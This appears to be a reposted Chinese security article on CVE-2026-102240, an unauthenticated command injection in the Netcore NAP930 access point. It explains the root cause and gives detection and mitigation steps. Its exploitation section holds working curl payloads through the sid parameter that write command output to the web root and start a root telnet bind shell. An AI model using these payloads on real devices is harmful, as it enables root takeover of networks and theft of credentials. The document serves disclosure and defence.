2026-10-16 06:49:34 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

(10分) CVE-2026-102240：Netcore AP未认证命令注入，一条GET拿root

红队安全圈
红队安全圈

红队安全圈

2026年9月29日 20:00
重庆

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Netcore NAP930 企业 AP：清洗函数写好了被注释，认证放在执行后面——局域网内一条 GET 请求直接拿 root，PoC 已公开且仿真验证。本月第二个 Netcore 零回应漏洞。

01 引言

Netcore NAP930 WiFi 6 企业接入点的 network\_tools CGI 存在未认证 OS 命令注入，CVE-2026-102240，CVSS 10.0。局域网内的攻击者无需任何凭据，一条精心构造的 GET 请求就能以 root 身份执行任意命令——PoC 已公开且经过固件仿真动态验证，可拿到完整 root shell 和 /etc/shadow。披露者提前联系厂商，又一次零回应。

02 漏洞速览

漏洞编号CVE-2026-102240

影响产品Netcore NAP930（WiFi 6 AP）V0.1.241010

漏洞类型未认证 OS 命令注入（CWE-77/78）

危害等级CVSS 10.0 Critical

是否在野未观测到在野利用，PoC 已公开

公开 PoC有，含仿真复现与 root shell 记录

攻击前提位于设备所在局域网，无需任何凭据

03 漏洞成因

根因在 /www/cgi-bin/network\_tools 这个 POSIX shell CGI，两个缺陷叠加：

一是清洗函数被注释掉了。脚本里定义了 urldecode() 消毒函数，但调用它的那一行被注释——uhttpd 传进来的原始 QUERY\_STRING 不做任何 URL 解码，直接按 & 分割成键值对。

二是 eval 循环跑在认证之前。键值对直接喂进 eval \"${key}='${val}'\"，而 sid 会话校验写在 eval 之后。也就是说攻击者的输入先执行、身份后检查——检查不通过只会返回 result:[6] 错误码，但命令在那之前已经跑完了。看到错误码 6 不代表攻击失败，这是排查时最容易误判的地方。

利用 payload 因此非常直白：sid 的值以单引号闭合前引号，接分号加任意命令，再用 :'' 保持引号配平（不配平会让 busybox ash 整个脚本中止）。空格要用 ${IFS} 而不是 %20——不做 URL 解码，%20 会原样留在命令里。

值得注意：同目录的 telnet、hello、upgrade 三个 CGI 用 printf 解码再 eval 的写法，内层单引号会阻止参数展开，那三个不受影响。同一固件里两种写法一好一坏，说明这是个体编码习惯问题，不是框架问题。

04 利用分析

两步验证，PoC 已公开：

写 id 输出到 web 根目录

curl \"http://target/cgi-bin/

network\_tools?sid=';id>/www/pwn.txt;:'\"

取回结果

curl \"http://target/pwn.txt\"

uid=0(root) gid=0(root)

拿到 root 后的稳定 shell 也有现成方案：固件自带 busybox nc 是精简版没有 -e，但设备默认开机自启 telnetd（/etc/rc.d/S90telnet），直接起一个绑定 shell：

sid=';telnetd${IFS}-p${IFS}2323

${IFS}-l${IFS}/bin/sh;:'

然后 telnet target 2323

影响面随之放大：配置文件里的 Wi-Fi 密钥、DDNS 凭据全部可读，可通过 flash 写入实现持久化后门，把 AP 变成进入所管理网络的跳板。叠加出厂态 root 空密码这个事实，NAP930 在攻击者眼里等于一台摆在局域网里的 root 终端。

05 检测与排查

网络侧：在网关或安全设备上查对 /cgi-bin/network\_tools 的 GET 请求，query string 里出现单引号、分号、${IFS} 组合的立即告警——正常流量不会带这些字符。

设备侧：查 /www/ 目录有没有多出来的陌生文件（典型手法是往 web 根写输出文件回传结果），查 telnetd 是否被异常启用，查 crontab 和启动脚本有没有新增项。

重点排查对象：酒店、办公室、门店这类用 NAP930 做无线覆盖的场景——AP 一旦被植入后门，接入它的所有终端流量都在攻击者眼里。

06 修复建议

截至发文厂商零回应，没有补丁。缓解按优先级：

1. AP 管理面不对用户网段开放，uhttpd 的 80/443/23355 端口限制到运维 VLAN

2. 检查并关闭 telnetd 自启（/etc/rc.d/S90telnet）

3. 修改出厂 root 空密码

4. 无法隔离管理面的环境，考虑临时下线或更换设备

07 红队视角

这是九月份第二个 Netcore 未认证命令注入（上一个是 NBR200V2 的 traceroute，同样厂商零回应）。两次披露拼起来看，Netcore 家网络设备的 CGI 层几乎是系统性失守：sanitizer 写了不用、认证放在执行之后、出厂空密码、telnetd 默认开——每一个单独看都是低级错误，叠在一起就是企业内网的常驻 root 入口。

给做内网评估的红队一个直接建议：遇到 Netcore/磊科系设备，优先测 cgi-bin 下所有端点的 eval 注入模式——这个厂商的修复记录基本等于没有。防守侧把它加进资产清单的脆弱设备标记里，这类设备的风险不在于会不会被打，而在于被打了你都不知道。